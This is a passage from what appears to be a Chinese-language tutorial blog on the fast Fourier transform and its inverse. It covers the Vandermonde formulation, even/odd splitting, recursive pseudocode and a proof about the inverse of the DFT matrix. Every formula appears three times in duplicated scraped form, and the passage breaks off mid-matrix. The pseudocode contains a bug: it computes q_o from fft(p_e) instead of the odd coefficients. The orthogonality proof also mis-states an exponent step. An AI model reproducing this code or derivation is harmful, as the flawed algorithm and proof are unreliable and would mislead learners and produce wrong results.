f(x0),f(x1),f(x2),f(x3),f(x4),f(x5),f(x6),f(x7)f(x_0),f(x_1),f(x_2),f(x_3),f(x_4),f(x_5),f(x_6),f(x_7)f(x0),f(x1),f(x2),f(x3),f(x4),f(x5),f(x6),f(x7)

为了求这777个函数值，可以用矩阵方法表示(用列向量主要是因为横向量太长了Typora写不下)

[f(x0)f(x1)f(x2)f(x3)f(x4)f(x5)f(x6)f(x7)]=[x00x01x02x03x04x05x06x07x10x11x12x13x14x15x16x17x20x21x22x23x24x25x26x27x30x31x32x33x34x35x36x37x40x41x42x43x44x45x46x47x50x51x52x53x54x55x56x57x60x61x62x63x64x65x66x67x70x71x72x73x74x75x76x77][a0a1a2a3a4a5a6a7]\begin{bmatrix} f(x_0) \\ f(x_1) \\ f(x_2) \\ f(x_3) \\ f(x_4) \\ f(x_5) \\ f(x_6) \\ f(x_7) \end{bmatrix}=\begin{bmatrix} x_0^0& x_0^1& x_0^2& x_0^3& x_0^4& x_0^5& x_0^6& x_0^7\\ x_1^0& x_1^1& x_1^2& x_1^3& x_1^4& x_1^5& x_1^6& x_1^7\\ x_2^0& x_2^1& x_2^2& x_2^3& x_2^4& x_2^5& x_2^6& x_2^7\\ x_3^0& x_3^1& x_3^2& x_3^3& x_3^4& x_3^5& x_3^6& x_3^7\\ x_4^0& x_4^1& x_4^2& x_4^3& x_4^4& x_4^5& x_4^6& x_4^7\\ x_5^0& x_5^1& x_5^2& x_5^3& x_5^4& x_5^5& x_5^6& x_5^7\\ x_6^0& x_6^1& x_6^2& x_6^3& x_6^4& x_6^5& x_6^6& x_6^7\\ x_7^0& x_7^1& x_7^2& x_7^3& x_7^4& x_7^5& x_7^6& x_7^7 \end{bmatrix}\begin{bmatrix} a_0 \\ a_1\\ a_2 \\ a_3 \\ a_4 \\ a_5 \\ a_6 \\ a_7 \end{bmatrix}f(x0)f(x1)f(x2)f(x3)f(x4)f(x5)f(x6)f(x7)=x00x10x20x30x40x50x60x70x01x11x21x31x41x51x61x71x02x12x22x32x42x52x62x72x03x13x23x33x43x53x63x73x04x14x24x34x44x54x64x74x05x15x25x35x45x55x65x75x06x16x26x36x46x56x66x76x07x17x27x37x47x57x67x77a0a1a2a3a4a5a6a7

如若使用编程实现该功能，复杂度O(n2)O(n^2)O(n2)依然没有优势

重新回到f(x)f(x)f(x)，wiki上对奇偶函数的代数结构有这样的描述：

偶函数的任何线性组合皆为偶函数，且偶函数会形成一个实数上的向量空间。相似地，奇函数的任何线性组合皆为奇函数，且奇函数亦会形成一个实数上的向量空间，实际上，”所有“实值函数之向量空间为偶函数和奇函数之子空间的直和。换句话说，每个定义域关于原点对称的函数都可以被唯一地写成一个偶函数和一个奇函数的相加：
f(x)=feven(x)+fodd(x)=f(x)+f(−x)2+f(x)−f(−x)2f(x) = f_{even}(x) + f_{odd}(x) = \frac{f(x)+f(-x)}{2} + \frac{f(x)-f(-x)}{2}f(x)=feven(x)+fodd(x)=2f(x)+f(−x)+2f(x)−f(−x)

类似地，将原式f(x)f(x)f(x)奇偶性分解

f(x)=a0x0+a1x1+a2x2+a3x3+a4x4+a5x5+a6x6+a7x7f(x)=(a0x0+a2x2+a4x4+a6x6)+(a1x1+a3x3+a5x5+a7x7)f(x)=(a0x0+a2x2+a4x4+a6x6)+x(a1x0+a3x2+a5x4+a7x6)f(x) = a_0x^0 + a_1x^1 + a_2x^2 + a_3x^3 + a_4x^4 + a_5x^5 + a_6x^6 + a_7x^7\\ f(x) = (a_0x^0+a_2x^2 + a_4x^4 + a_6x^6) + (a_1x^1+a_3x^3 + a_5x^5 + a_7x^7)\\ f(x) = (a_0x^0+a_2x^2 + a_4x^4 + a_6x^6) + x(a_1x^0+a_3x^2 + a_5x^4 + a_7x^6)\\f(x)=a0x0+a1x1+a2x2+a3x3+a4x4+a5x5+a6x6+a7x7f(x)=(a0x0+a2x2+a4x4+a6x6)+(a1x1+a3x3+a5x5+a7x7)f(x)=(a0x0+a2x2+a4x4+a6x6)+x(a1x0+a3x2+a5x4+a7x6)

记

qe(x)=a0x0+a2x1+a4x2+a6x3,qo(x)=a1x0+a3x1+a5x2+a7x3q_e(x) = a_0 x^0 + a_2 x^1 + a_4 x^2 + a_6 x^3,q_o(x) = a_1 x^0 + a_3x^1 + a_5 x^2 + a_7 x^3qe(x)=a0x0+a2x1+a4x2+a6x3,qo(x)=a1x0+a3x1+a5x2+a7x3

则有

f(x)=qe(x2)+xqo(x2)f(−x)=qe(x2)−xqo(x2)f(x) = q_e(x^2) + x q_o(x^2)\\ f(-x) = q_e(x^2) - x q_o(x^2)f(x)=qe(x2)+xqo(x2)f(−x)=qe(x2)−xqo(x2)

如此一来计算f(xi)f(x_i)f(xi)的值只需计算qe(xi),qo(xi)q_e(x_i),q_o(x_i)qe(xi),qo(xi)的值即可，观察到q(x)q(x)q(x)与f(x)f(x)f(x)形似，也可以使用同样的逻辑进一步拆分分治，使用递归的逻辑连接起来。

为了更好的利用奇偶性质，xix_ixi的值不任取，如在本例n=8n=8n=8中选取

x∈{e2iπnk∣k∈Zn,n=8}x \in \{e^{\frac{2i\pi}{n}k}|k \in \mathbb{Z}_n,n=8\}x∈{en2iπk∣k∈Zn,n=8}

这样一来

e2iπnk=−e2iπn(k+n2)e^{\frac{2i\pi}{n}k} = - e^{\frac{2i\pi}{n}(k+\frac{n}{2})}en2iπk=−en2iπ(k+2n)

综上写出伪代码如下:

1
def fft(a):
2
  #a = [a_0,a_1,a_2,...,a_{n-1}]
3
  #return [f(w^0),f(w^1),f(w^2),...,f(w^{n-1})]
4
  if (n==1) return [a_0]
5
  pe = [a_0,a_2,...,a_{n-2}]
6
  po = [a_1,a_3,...,a_{n-1}]
7
  q_o = fft(p_e)
8
    q_e = fft(p_e)
9
    w = cos(2pi/n) + i sin(2pi/n)
10
    for j in [0,1,2,...,n/2-1]:
11
      f(w^j) = q_e[j] + w^j q_o[j]
12
      f(w^{j+n/2}) = q_e[j] - w^j q_o[j]
13
    return [f(w^0),f(w^1),f(w^2),...,f(w^{n-1})]

以上，实现了从系数表示到点列表示的过程，即主要是为了实现这个计算

[f(ω0)f(ω1)f(ω2)f(ω3)f(ω4)f(ω5)f(ω6)f(ω7)]=[ω0⋅0ω0⋅1ω0⋅2ω0⋅3ω0⋅4ω0⋅5ω0⋅6ω0⋅7ω1⋅0ω1⋅1ω1⋅2ω1⋅3ω1⋅4ω1⋅5ω1⋅6ω1⋅7ω2⋅0ω2⋅1ω2⋅2ω2⋅3ω2⋅4ω2⋅5ω2⋅6ω2⋅7ω3⋅0ω3⋅1ω3⋅2ω3⋅3ω3⋅4ω3⋅5ω3⋅6ω3⋅7ω4⋅0ω4⋅1ω4⋅2ω4⋅3ω4⋅4ω4⋅5ω4⋅6ω4⋅7ω5⋅0ω5⋅1ω5⋅2ω5⋅3ω5⋅4ω5⋅5ω5⋅6ω5⋅7ω6⋅0ω6⋅1ω6⋅2ω6⋅3ω6⋅4ω6⋅5ω6⋅6ω6⋅7ω7⋅0ω7⋅1ω7⋅2ω7⋅3ω7⋅4ω7⋅5ω7⋅6ω7⋅7][a0a1a2a3a4a5a6a7]\begin{bmatrix} f(\omega^0) \\ f(\omega^1) \\ f(\omega^2) \\ f(\omega^3) \\ f(\omega^4) \\ f(\omega^5) \\ f(\omega^6) \\ f(\omega^7) \end{bmatrix}=\begin{bmatrix} \omega^{0 \cdot 0}& \omega^{0 \cdot 1}& \omega^{0 \cdot 2}& \omega^{0 \cdot 3}& \omega^{0 \cdot 4}& \omega^{0 \cdot 5}& \omega^{0 \cdot 6}& \omega^{0 \cdot 7}\\ \omega^{1 \cdot 0}& \omega^{1 \cdot 1}& \omega^{1 \cdot 2}& \omega^{1 \cdot 3}& \omega^{1 \cdot 4}& \omega^{1 \cdot 5}& \omega^{1 \cdot 6}& \omega^{1 \cdot 7}\\ \omega^{2 \cdot 0}& \omega^{2 \cdot 1}& \omega^{2 \cdot 2}& \omega^{2 \cdot 3}& \omega^{2 \cdot 4}& \omega^{2 \cdot 5}& \omega^{2 \cdot 6}& \omega^{2 \cdot 7}\\ \omega^{3 \cdot 0}& \omega^{3 \cdot 1}& \omega^{3 \cdot 2}& \omega^{3 \cdot 3}& \omega^{3 \cdot 4}& \omega^{3 \cdot 5}& \omega^{3 \cdot 6}& \omega^{3 \cdot 7}\\ \omega^{4 \cdot 0}& \omega^{4 \cdot 1}& \omega^{4 \cdot 2}& \omega^{4 \cdot 3}& \omega^{4 \cdot 4}& \omega^{4 \cdot 5}& \omega^{4 \cdot 6}& \omega^{4 \cdot 7}\\ \omega^{5 \cdot 0}& \omega^{5 \cdot 1}& \omega^{5 \cdot 2}& \omega^{5 \cdot 3}& \omega^{5 \cdot 4}& \omega^{5 \cdot 5}& \omega^{5 \cdot 6}& \omega^{5 \cdot 7}\\ \omega^{6 \cdot 0}& \omega^{6 \cdot 1}& \omega^{6 \cdot 2}& \omega^{6 \cdot 3}& \omega^{6 \cdot 4}& \omega^{6 \cdot 5}& \omega^{6 \cdot 6}& \omega^{6 \cdot 7}\\ \omega^{7 \cdot 0}& \omega^{7 \cdot 1}& \omega^{7 \cdot 2}& \omega^{7 \cdot 3}& \omega^{7 \cdot 4}& \omega^{7 \cdot 5}& \omega^{7 \cdot 6}& \omega^{7 \cdot 7} \end{bmatrix}\begin{bmatrix} a_0 \\ a_1\\ a_2 \\ a_3 \\ a_4 \\ a_5 \\ a_6 \\ a_7 \end{bmatrix}f(ω0)f(ω1)f(ω2)f(ω3)f(ω4)f(ω5)f(ω6)f(ω7)=ω0⋅0ω1⋅0ω2⋅0ω3⋅0ω4⋅0ω5⋅0ω6⋅0ω7⋅0ω0⋅1ω1⋅1ω2⋅1ω3⋅1ω4⋅1ω5⋅1ω6⋅1ω7⋅1ω0⋅2ω1⋅2ω2⋅2ω3⋅2ω4⋅2ω5⋅2ω6⋅2ω7⋅2ω0⋅3ω1⋅3ω2⋅3ω3⋅3ω4⋅3ω5⋅3ω6⋅3ω7⋅3ω0⋅4ω1⋅4ω2⋅4ω3⋅4ω4⋅4ω5⋅4ω6⋅4ω7⋅4ω0⋅5ω1⋅5ω2⋅5ω3⋅5ω4⋅5ω5⋅5ω6⋅5ω7⋅5ω0⋅6ω1⋅6ω2⋅6ω3⋅6ω4⋅6ω5⋅6ω6⋅6ω7⋅6ω0⋅7ω1⋅7ω2⋅7ω3⋅7ω4⋅7ω5⋅7ω6⋅7ω7⋅7a0a1a2a3a4a5a6a7

p.s:突然发现这好像就是我当时参加的TACA的原题啊喂

不妨把这个大矩阵记作WWW

W=(ωij)i,j=0,1,⋯ ,n−1,ω=e2iπnW = (\omega^{ij})_{i,j = 0,1,\cdots,n-1},\omega = e^{\frac{2i\pi}{n}}W=(ωij)i,j=0,1,⋯,n−1,ω=en2iπ

想要实现从点列表示转成系数表示，就需要求得这个WWW矩阵的逆矩阵W−1W^{-1}W−1

离散傅里叶变换矩阵(Discrete Fourier Transform matrix,DFTmtx)#

离散傅立叶变换矩阵是将离散傅立叶变换以矩阵乘法来表达的一种表示式

DFT矩阵定义

W=(ωij)i,j=0,1,⋯ ,N−1/N,ω=e−2iπNW = (\omega^{ij})_{i,j = 0,1,\cdots,N-1}/\sqrt{N},\omega = e^{\frac{-2i\pi}{N}}\\W=(ωij)i,j=0,1,⋯,N−1/N,ω=eN−2iπ

或

W=1N[ω0⋅0ω0⋅1⋯ω0⋅(N−1)ω1⋅0ω1⋅1⋯ω1⋅(N−1)⋮⋮⋱⋮ω(N−1)⋅0ω(N−1)⋅1⋯ω(N−1)⋅(N−1)],ω=e−2iπNW= \frac{1}{\sqrt{N}}\begin{bmatrix} \omega ^{0 \cdot 0}& \omega ^{0 \cdot 1}& \cdots & \omega ^{0 \cdot (N-1)}\\ \omega ^{1 \cdot 0}& \omega ^{1 \cdot 1}& \cdots & \omega ^{1 \cdot (N-1)}\\ \vdots& \vdots & \ddots & \vdots \\ \omega ^{(N-1) \cdot 0}& \omega ^{(N-1) \cdot 1}& \cdots & \omega ^{(N-1) \cdot (N-1)}\\ \end{bmatrix}, \omega = e^{\frac{-2i\pi}{N}}W=N1ω0⋅0ω1⋅0⋮ω(N−1)⋅0ω0⋅1ω1⋅1⋮ω(N−1)⋅1⋯⋯⋱⋯ω0⋅(N−1)ω1⋅(N−1)⋮ω(N−1)⋅(N−1),ω=eN−2iπ

注意：此处ω\omegaω在指数上是否存在负号区别于之前的ω\omegaω，同时此处矩阵WWW有正规化因数1N\frac{1}{\sqrt{N}}N1

其逆矩阵是

T=1N[τ0⋅0τ0⋅1⋯τ0⋅(N−1)τ1⋅0τ1⋅1⋯τ1⋅(N−1)⋮⋮⋱⋮τ(N−1)⋅0τ(N−1)⋅1⋯τ(N−1)⋅(N−1)],τ=e2iπN=ω−1T= \frac{1}{\sqrt{N}}\begin{bmatrix} \tau ^{0 \cdot 0}& \tau ^{0 \cdot 1}& \cdots & \tau ^{0 \cdot (N-1)}\\ \tau ^{1 \cdot 0}& \tau ^{1 \cdot 1}& \cdots & \tau ^{1 \cdot (N-1)}\\ \vdots& \vdots & \ddots & \vdots \\ \tau ^{(N-1) \cdot 0}& \tau ^{(N-1) \cdot 1}& \cdots & \tau ^{(N-1) \cdot (N-1)}\\ \end{bmatrix}, \tau = e^{\frac{2i\pi}{N}}=\omega ^{-1}T=N1τ0⋅0τ1⋅0⋮τ(N−1)⋅0τ0⋅1τ1⋅1⋮τ(N−1)⋅1⋯⋯⋱⋯τ0⋅(N−1)τ1⋅(N−1)⋮τ(N−1)⋅(N−1),τ=eN2iπ=ω−1

下验证WT=IWT=IWT=I

N(WT)ij=N∑k=1NWikTkj=∑k=1Nωikτkj=∑k=1Nωikω−kj=∑k=1Nωk(i−j)\begin{align} N(WT)_{ij} &= N \sum_{k=1}^{N}{W_{ik}T_{kj}}\\ &= \sum_{k=1}^{N}{\omega^{ik}\tau^{kj}}\\ &= \sum_{k=1}^{N}{\omega^{ik}\omega^{-kj}}\\ &= \sum_{k=1}^{N}{\omega^{k(i-j)}} \end{align}N(WT)ij=Nk=1∑NWikTkj=k=1∑Nωikτkj=k=1∑Nωikω−kj=k=1∑Nωk(i−j)

当且仅当i=ji=ji=j时有

N(WT)ij=∑k=1Nωk(i−j)=∑k=1Nω0=N∴(WT)ij=1,i=j\begin{align} N(WT)_{ij} &= \sum_{k=1}^{N}{\omega^{k(i-j)}}\\ &= \sum_{k=1}^{N}{\omega^{0}}\\ &= N\\ \therefore (WT)_{ij}=1,i = j \end{align}N(WT)ij∴(WT)ij=1,i=j=k=1∑Nωk(i−j)=k=1∑Nω0=N

当i≠ji \ne ji=j时有

N(WT)ij=∑k=1Nωk(i−j)=∑k=1N2ωk(i−j)+∑k=1N2ω(k+N2)(i−j)=∑k=1N2e−2iπNk(i−j)+∑k=1N2e−2iπNk(i−j)−iπk(i−j)=∑k=1N2e−2iπNk(i−j)−∑k=1N2e−2iπNk(i−j)=0∴(WT)ij=0,i≠j\begin{align} N(WT)_{ij} &= \sum_{k=1}^{N}{\omega^{k(i-j)}}\\ &= \sum_{k=1}^{\frac{N}{2}}{\omega^{k(i-j)}} + \sum_{k=1}^{\frac{N}{2}}{\omega^{(k+\frac{N}{2})(i-j)}}\\ &= \sum_{k=1}^{\frac{N}{2}}{e^{\frac{-2i\pi}{N}k(i-j)}} + \sum_{k=1}^{\frac{N}{2}}{e^{\frac{-2i\pi}{N}k(i-j)-i\pi k(i-j)}}\\ &= \sum_{k=1}^{\frac{N}{2}}{e^{\frac{-2i\pi}{N}k(i-j)}} - \sum_{k=1}^{\frac{N}{2}}{e^{\frac{-2i\pi}{N}k(i-j)}}\\ &= 0\\ \therefore (WT)_{ij}=0,i \ne j \end{align}N(WT)ij∴(WT)ij=0,i=j=k=1∑Nωk(i−j)=k=1∑2Nωk(i−j)+k=1∑2Nω(k+2N)(i−j)=k=1∑2NeN−2iπk(i−j)+k=1∑2NeN−2iπk(i−j)−iπk(i−j)=k=1∑2NeN−2iπk(i−j)−k=1∑2NeN−2iπk(i−j)=0

至此WT=IWT=IWT=I验证完毕

快速傅里叶逆变换(Inverse Fast Fourier Transform,IFFT)#

根据上面的式子，我们得到了

[ω0⋅0ω0⋅1ω0⋅2ω0⋅3ω0⋅4ω0⋅5ω0⋅6ω0⋅7ω1⋅0ω1⋅1ω1⋅2ω1⋅3ω1⋅4ω1⋅5ω1⋅6ω1⋅7ω2⋅0ω2⋅1ω2⋅2ω2⋅3ω2⋅4ω2⋅5ω2⋅6ω2⋅7ω3⋅0ω3⋅1ω3⋅2ω3⋅3ω3⋅4ω3⋅5ω3⋅6ω3⋅7ω4⋅0ω4⋅1ω4⋅2ω4⋅3ω4⋅4ω4⋅5ω4⋅6ω4⋅7ω5⋅0ω5⋅1ω5⋅2ω5⋅3ω5⋅4ω5⋅5ω5⋅6ω5⋅7ω6⋅0ω6⋅1ω6⋅2ω6⋅3ω6⋅4ω6⋅5ω6⋅6ω6⋅7ω7⋅0ω7⋅1ω7⋅2ω7⋅3ω7⋅4ω7⋅5ω7⋅6ω7⋅7][τ0⋅0τ0⋅1τ0⋅2τ0⋅3τ0⋅4τ0⋅5τ0⋅6τ0⋅7τ1⋅0τ1⋅1τ1⋅2τ1⋅3τ1⋅4τ1⋅5τ1⋅6τ1⋅7τ2⋅0τ2⋅1τ2⋅2τ2⋅3τ2⋅4τ2⋅5τ2⋅6τ2⋅7τ3⋅0τ3⋅1τ3⋅2τ3⋅3τ3⋅4τ3⋅5τ3⋅6τ3⋅7τ4⋅0τ4⋅1τ4⋅2τ4⋅3τ4⋅4τ4⋅5τ4⋅6τ4⋅7τ5⋅0τ5⋅1τ5⋅2τ5⋅3τ5⋅4τ5⋅5τ5⋅6τ5⋅7τ6⋅0τ6⋅1τ6⋅2τ6⋅3τ6⋅4τ6⋅5τ6⋅6τ6⋅7τ7⋅0τ7⋅1τ7⋅2τ7⋅3τ7⋅4τ7⋅5τ7⋅6τ7⋅7]=nI\begin{bmatrix} \omega^{0 \cdot 0}& \omega^{0 \cdot 1}& \omega^{0 \cdot 2}& \omega^{0 \cdot 3}& \omega^{0 \cdot 4}& \omega^{0 \cdot 5}& \omega^{0 \cdot 6}& \omega^{0 \cdot 7}\\ \omega^{1 \cdot 0}& \omega^{1 \cdot 1}& \omega^{1 \cdot 2}& \omega^{1 \cdot 3}& \omega^{1 \cdot 4}& \omega^{1 \cdot 5}& \omega^{1 \cdot 6}& \omega^{1 \cdot 7}\\ \omega^{2 \cdot 0}& \omega^{2 \cdot 1}& \omega^{2 \cdot 2}& \omega^{2 \cdot 3}& \omega^{2 \cdot 4}& \omega^{2 \cdot 5}& \omega^{2 \cdot 6}& \omega^{2 \cdot 7}\\ \omega^{3 \cdot 0}& \omega^{3 \cdot 1}& \omega^{3 \cdot 2}& \omega^{3 \cdot 3}& \omega^{3 \cdot 4}& \omega^{3 \cdot 5}& \omega^{3 \cdot 6}& \omega^{3 \cdot 7}\\ \omega^{4 \cdot 0}& \omega^{4 \cdot 1}& \omega^{4 \cdot 2}& \omega^{4 \cdot 3}& \omega^{4 \cdot 4}& \omega^{4 \cdot 5}& \omega^{4 \cdot 6}& \omega^{4 \cdot 7}\\ \omega^{5 \cdot 0}& \omega^{5 \cdot 1}& \omega^{5 \cdot 2}& \omega^{5 \cdot 3}& \omega^{5 \cdot 4}& \omega^{5 \cdot 5}& \omega^{5 \cdot 6}& \omega^{5 \cdot 7}\\ \omega^{6 \cdot 0}& \omega^{6 \cdot 1}& \omega^{6 \cdot 2}& \omega^{6 \cdot 3}& \omega^{6 \cdot 4}& \omega^{6 \cdot 5}& \omega^{6 \cdot 6}& \omega^{6 \cdot 7}\\ \omega^{7 \cdot 0}& \omega^{7 \cdot 1}& \omega^{7 \cdot 2}& \omega^{7 \cdot 3}& \omega^{7 \cdot 4}& \omega^{7 \cdot 5}& \omega^{7 \cdot 6}& \omega^{7 \cdot 7} \end{bmatrix}\begin{bmatrix} \tau^{0 \cdot 0}& \tau^{0 \cdot 1}& \tau^{0 \cdot 2}& \tau^{0 \cdot 3}& \tau^{0 \cdot 4}& \tau^{0 \cdot 5}& \tau^{0 \cdot 6}& \tau^{0 \cdot 7}\\ \tau^{1 \cdot 0}& \tau^{1 \cdot 1}& \tau^{1 \cdot 2}& \tau^{1 \cdot 3}& \tau^{1 \cdot 4}& \tau^{1 \cdot 5}& \tau^{1 \cdot 6}& \tau^{1 \cdot 7}\\ \tau^{2 \cdot 0}& \tau^{2 \cdot 1}& \tau^{2 \cdot 2}& \tau^{2 \cdot 3}& \tau^{2 \cdot 4}& \tau^{2 \cdot 5}& \tau^{2 \cdot 6}& \tau^{2 \cdot 7}\\ \tau^{3 \cdot 0}& \tau^{3 \cdot 1}& \tau^{3 \cdot 2}& \tau^{3 \cdot 3}& \tau^{3 \cdot 4}& \tau^{3 \cdot 5}& \tau^{3 \cdot 6}& \tau^{3 \cdot 7}\\ \tau^{4 \cdot 0}& \tau^{4 \cdot 1}& \tau^{4 \cdot 2}& \tau^{4 \cdot 3}& \tau^{4 \cdot 4}& \tau^{4 \cdot 5}& \tau^{4 \cdot 6}& \tau^{4 \cdot 7}\\ \tau^{5 \cdot 0}& \tau^{5 \cdot 1}& \tau^{5 \cdot 2}& \tau^{5 \cdot 3}& \tau^{5 \cdot 4}& \tau^{5 \cdot 5}& \tau^{5 \cdot 6}& \tau^{5 \cdot 7}\\ \tau^{6 \cdot 0}& \tau^{6 \cdot 1}& \tau^{6 \cdot 2}& \tau^{6 \cdot 3}& \tau^{6 \cdot 4}& \tau^{6 \cdot 5}& \tau^{6 \cdot 6}& \tau^{6 \cdot 7}\\ \tau^{7 \cdot 0}& \tau^{7 \cdot 1}& \tau^{7 \cdot 2}& \tau^{7 \cdot 3}& \tau^{7 \cdot 4}& \tau^{7 \cdot 5}& \tau^{7 \cdot 6}& \tau^{7 \cdot 7} \end{bmatrix}=nIω0⋅0ω1⋅0ω2⋅0ω3⋅0ω4⋅0ω5⋅0ω6⋅0ω7⋅0ω0⋅1ω1⋅1ω2⋅1ω3⋅1ω4⋅1ω5⋅1ω6⋅1ω7⋅1ω0⋅2ω1⋅2ω2⋅2ω3⋅2ω4⋅2ω5⋅2ω6⋅2ω7⋅2ω0⋅3ω1⋅3ω2⋅3ω3⋅3ω4⋅3ω5⋅3ω6⋅3ω7⋅3ω0⋅4ω1⋅4ω2⋅4ω3⋅4ω4⋅4ω5⋅4ω6⋅4ω7⋅4ω0⋅5ω1⋅5ω2⋅5ω3⋅5ω4⋅5ω5⋅5ω6⋅5ω7⋅5ω0⋅6ω1⋅6ω2⋅6ω3⋅6ω4⋅6ω5⋅6ω6⋅6ω7⋅6ω0⋅7ω1⋅7ω2⋅7ω3⋅7ω4⋅7ω5⋅7ω6⋅7ω7⋅7τ0⋅0τ1⋅0τ2⋅0τ3⋅0τ4⋅0τ5⋅0τ6⋅0τ7⋅0τ0⋅1τ1⋅1τ2⋅1τ3⋅1τ4⋅1τ5⋅1τ6⋅1τ7⋅1τ0⋅2τ1⋅2τ2⋅2τ3⋅2τ4⋅2τ5⋅2τ6⋅2τ7⋅2τ0⋅3τ1⋅3τ2⋅3τ3⋅3τ4⋅3τ5⋅3τ6⋅3τ7⋅3τ0⋅4τ1⋅4τ2⋅4τ3⋅4τ4⋅4τ5⋅4τ6⋅4τ7⋅4τ0⋅5τ1⋅5τ2⋅5τ3⋅5τ4⋅5τ5⋅5τ6⋅5τ7⋅5τ0⋅6τ1⋅6τ2⋅6τ3⋅6τ4⋅6τ5⋅6τ6⋅6τ7⋅6τ0⋅7τ1⋅7τ2⋅7τ3⋅7τ4⋅7τ5⋅7τ6⋅7τ7⋅7=nI

那么回到最先的式子

[f(ω0)f(ω1)f(ω2)f(ω3)f(ω4)f(ω5)f(ω6)f(ω7)]=[ω0⋅0ω0⋅1ω0⋅2ω0⋅3ω0⋅4ω0⋅5ω0⋅6ω0⋅7ω1⋅0ω1⋅1ω1⋅2ω1⋅3ω1⋅4ω1⋅5ω1⋅6ω1⋅7ω2⋅0ω2⋅1ω2⋅2ω2⋅3ω2⋅4ω2⋅5ω2⋅6ω2⋅7ω3⋅0ω3⋅1ω3⋅2ω3⋅3ω3⋅4ω3⋅5ω3⋅6ω3⋅7ω4⋅0ω4⋅1ω4⋅2ω4⋅3ω4⋅4ω4⋅5ω4⋅6ω4⋅7ω5⋅0ω5⋅1ω5⋅2ω5⋅3ω5⋅4ω5⋅5ω5⋅6ω5⋅7ω6⋅0ω6⋅1ω6⋅2ω6⋅3ω6⋅4ω6⋅5ω6⋅6ω6⋅7ω7⋅0ω7⋅1ω7⋅2ω7⋅3ω7⋅4ω7⋅5ω7⋅6ω7⋅7][a0a1a2a3a4a5a6a7]\begin{bmatrix} f(\omega^0) \\ f(\omega^1) \\ f(\omega^2) \\ f(\omega^3) \\ f(\omega^4) \\ f(\omega^5) \\ f(\omega^6) \\ f(\omega^7) \end{bmatrix} = \begin{bmatrix} \omega^{0 \cdot 0}& \omega^{0 \cdot 1}& \omega^{0 \cdot 2}& \omega^{0 \cdot 3}& \omega^{0 \cdot 4}& \omega^{0 \cdot 5}& \omega^{0 \cdot 6}& \omega^{0 \cdot 7}\\ \omega^{1 \cdot 0}& \omega^{1 \cdot 1}& \omega^{1 \cdot 2}& \omega^{1 \cdot 3}& \omega^{1 \cdot 4}& \omega^{1 \cdot 5}& \omega^{1 \cdot 6}& \omega^{1 \cdot 7}\\ \omega^{2 \cdot 0}& \omega^{2 \cdot 1}& \omega^{2 \cdot 2}& \omega^{2 \cdot 3}& \omega^{2 \cdot 4}& \omega^{2 \cdot 5}& \omega^{2 \cdot 6}& \omega^{2 \cdot 7}\\ \omega^{3 \cdot 0}& \omega^{3 \cdot 1}& \omega^{3 \cdot 2}& \omega^{3 \cdot 3}& \omega^{3 \cdot 4}& \omega^{3 \cdot 5}& \omega^{3 \cdot 6}& \omega^{3 \cdot 7}\\ \omega^{4 \cdot 0}& \omega^{4 \cdot 1}& \omega^{4 \cdot 2}& \omega^{4 \cdot 3}& \omega^{4 \cdot 4}& \omega^{4 \cdot 5}& \omega^{4 \cdot 6}& \omega^{4 \cdot 7}\\ \omega^{5 \cdot 0}& \omega^{5 \cdot 1}& \omega^{5 \cdot 2}& \omega^{5 \cdot 3}& \omega^{5 \cdot 4}& \omega^{5 \cdot 5}& \omega^{5 \cdot 6}& \omega^{5 \cdot 7}\\ \omega^{6 \cdot 0}& \omega^{6 \cdot 1}& \omega^{6 \cdot 2}& \omega^{6 \cdot 3}& \omega^{6 \cdot 4}& \omega^{6 \cdot 5}& \omega^{6 \cdot 6}& \omega^{6 \cdot 7}\\ \omega^{7 \cdot 0}& \omega^{7 \cdot 1}& \omega^{7 \cdot 2}& \omega^{7 \cdot 3}& \omega^{7 \cdot 4}& \omega^{7 \cdot 5}& \omega^{7 \cdot 6}& \omega^{7 \cdot 7} \end{bmatrix} \begin{bmatrix} a_0 \\ a_1\\ a_2 \\ a_3 \\ a_4 \\ a_5 \\ a_6 \\ a_7 \end{bmatrix}\\f(ω0)f(ω1)f(ω2)f(ω3)f(ω4)f(ω5)f(ω6)f(ω7)=ω0⋅0ω1⋅0ω2⋅0ω3⋅0ω4⋅0ω5⋅0ω6⋅0ω7⋅0ω0⋅1ω1⋅1ω2⋅1ω3⋅1ω4⋅1ω5⋅1ω6⋅1ω7⋅1ω0⋅2ω1⋅2ω2⋅2ω3⋅2ω4⋅2ω5⋅2ω6⋅2ω7⋅2ω0⋅3ω1⋅3ω2⋅3ω3⋅3ω4⋅3ω5⋅3ω6⋅3ω7⋅3ω0⋅4ω1⋅4ω2⋅4ω3⋅4ω4⋅4ω5⋅4ω6⋅4ω7⋅4ω0⋅5ω1⋅5ω2⋅5ω3⋅5ω4⋅5ω5⋅5ω6⋅5ω7⋅5ω0⋅6ω1⋅6ω2⋅6ω3⋅6ω4⋅6ω5⋅6ω6⋅6ω7⋅6ω0⋅7ω1⋅7ω2⋅7ω3⋅7ω4⋅7ω5⋅7ω6⋅7ω7⋅7a0a1a2a3a4a5a6a7

可以有

F=WAW−1F=W−1WAA=W−1FA=1nTFF=WA\\ W^{-1}F=W^{-1}WA\\ A = W^{-1}F\\ A = \frac{1}{n}TFF=WAW−1F=W−1WAA=W−1FA=n1TF

即

[a0a1a2a3a4a5a6a7]=1n[τ0⋅0τ0⋅1τ0⋅2τ0⋅3τ0⋅4τ0⋅5τ0⋅6τ0⋅7τ1⋅0τ1⋅1τ1⋅2τ1⋅3τ1⋅4τ1⋅5τ1⋅6τ1⋅7τ2⋅0τ2⋅1τ2⋅2τ2⋅3τ2⋅4τ2⋅5τ2⋅6τ2⋅7τ3⋅0τ3⋅1τ3⋅2τ3⋅3τ3⋅4τ3⋅5τ3⋅6τ3⋅7τ4⋅0τ4⋅1τ4⋅2τ4⋅3τ4⋅4τ4⋅5τ4⋅6τ4⋅7τ5⋅0τ5⋅1τ5⋅2τ5⋅3τ5⋅4τ5⋅5τ5⋅6τ5⋅7τ6⋅0τ6⋅1τ6⋅2τ6⋅3τ6⋅4τ6⋅5τ6⋅6τ6⋅7τ7⋅0τ7⋅1τ7⋅2τ7⋅3τ7⋅4τ7⋅5τ7⋅6τ7⋅7][f(ω0)f(ω1)f(ω2)f(ω3)f(ω4)f(ω5)f(ω6)f(ω7)]\begin{bmatrix} a_0 \\ a_1\\ a_2 \\ a_3 \\ a_4 \\ a_5 \\ a_6 \\ a_7 \end{bmatrix}\\ =\frac{1}{n} \begin{bmatrix} \tau^{0 \cdot 0}& \tau^{0 \cdot 1}& \tau^{0 \cdot 2}& \tau^{0 \cdot 3}& \tau^{0 \cdot 4}& \tau^{0 \cdot 5}& \tau^{0 \cdot 6}& \tau^{0 \cdot 